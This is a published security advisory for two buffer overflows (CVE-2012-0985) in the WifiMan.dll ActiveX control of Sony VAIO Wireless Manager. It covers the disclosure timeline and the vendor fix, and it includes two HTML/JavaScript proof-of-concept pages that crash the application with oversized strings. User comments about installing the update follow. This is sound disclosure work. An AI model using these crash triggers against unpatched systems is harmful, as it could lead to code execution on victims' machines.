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2 Buffer Overflows in Wireless Manager Sony VAIO

Advisory ID:HTB23063
Product:Wireless Manager Sony VAIO
Vendor:Sony Computers
Vulnerable Versions:4.0.0.0 and probably prior
Tested Version:4.0.0.0
Advisory Publication:December 7, 2011 [without technical details]
Vendor Notification:December 7, 2011
Vendor Fix:January 20, 2012
Public Disclosure:May 30, 2012
Latest Update:March 27, 2012
Vulnerability Type:Buffer Errors [CWE-119]
CVE Reference:CVE-2012-0985
Risk Level:Critical
CVSSv2 Base Score:9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered 2 buffer overflow vulnerabilities in Wireless Manager Sony VAIO which can be exploited to execute arbitrary code on vulnerable system.

1) Buffer Overflow in Wireless Manager Sony VAIO: CVE-2012-0985

1.1 The method SetTmpProfileOption() in WifiMan.dll library does not properly check the length of string parameters.
An attacker could craft a malicious HTML page to trigger the vulnerability and execute arbitrary code in the context of the affected user.
The following PoC will crash the application:
<HTML>
<BODY>
<object id=ctrl
classid="clsid:{92E7DDED-BBFE-4DDF-B717-074E3B602D1B}">
</object>
<SCRI PT>
function Do_()
{
arg1=1
arg2=String(8212, "X")
arg3="defaultV"
ctrl.SetTmpProfileOption arg1 ,arg2 ,arg3
}
</SCRIPT>
<input language=JavaScript onclick=Do_() type=button value="Sony_POC">
</BODY>
</HTML>


1.2 The method ConnectToNetwork() in WifiMan.dll library does not properly check the length of string parameters.
An attacker could craft a malicious HTML page to trigger the vulnerability and execute arbitrary code in the context of the affected user.
The following PoC will crash the application:
<HTML>
<BODY>
<object id=ctrl
classid="clsid:{92E7DDED-BBFE-4DDF-B717-074E3B602D1B}">
</object>
<SCRI PT>
function Do_()
{
arg1=1
arg2=String(6164, "X")
ctrl.ConnectToNetwork arg1 ,arg2
}
</SCRIPT>
<input language=JavaScript onclick=Do_() type=button value="Sony_POC">
</BODY>
</HTML>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Sony has released a security update for the Affected Models that resolves this issue. Sony recommends that all customers who have Affected Models immediately install the latest version of the software by using VAIO Update.

Note: If you are using the default VAIO Update settings the update will be installed automatically.

More information and security update:
http://esupport.sony.com/US/perl/support-info.pl?template_id=1&info_id=946


References:
[1] High-Tech Bridge Advisory HTB23063 - https://www.htbridge.com/advisory/HTB23063 - Buffer Overflow in Wireless Manager Sony VAIO.
[2] Wireless Manager Sony VAIO - http://www.sony.co.uk/hub/vaio-laptops - is a software to manage wireless connections that is installed by default on various series of Sony VAIO laptops.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions
3 responses to "2 Buffer Overflows in Wireless Manager Sony VAIO"
rich112371@yahoo.com 2014-06-08 17:54:09 CEST Comment this
how can tell if my computer took update was messed up pretty bad for about a 1.5 years
fatemeh 2014-07-02 18:16:10 CEST Comment this
rich112371@yahoo.com wrote:
how can tell if my computer took update was messed up pretty bad for about a 1.5 years
Tracie N. Swietek 2014-10-16 14:19:19 CEST Comment this
I cannot get my computer to TAKE and KEEP the security update!!! It is one of the
computers on the list. What do I do to fix this problem? Any help would be
extremely apreciated.
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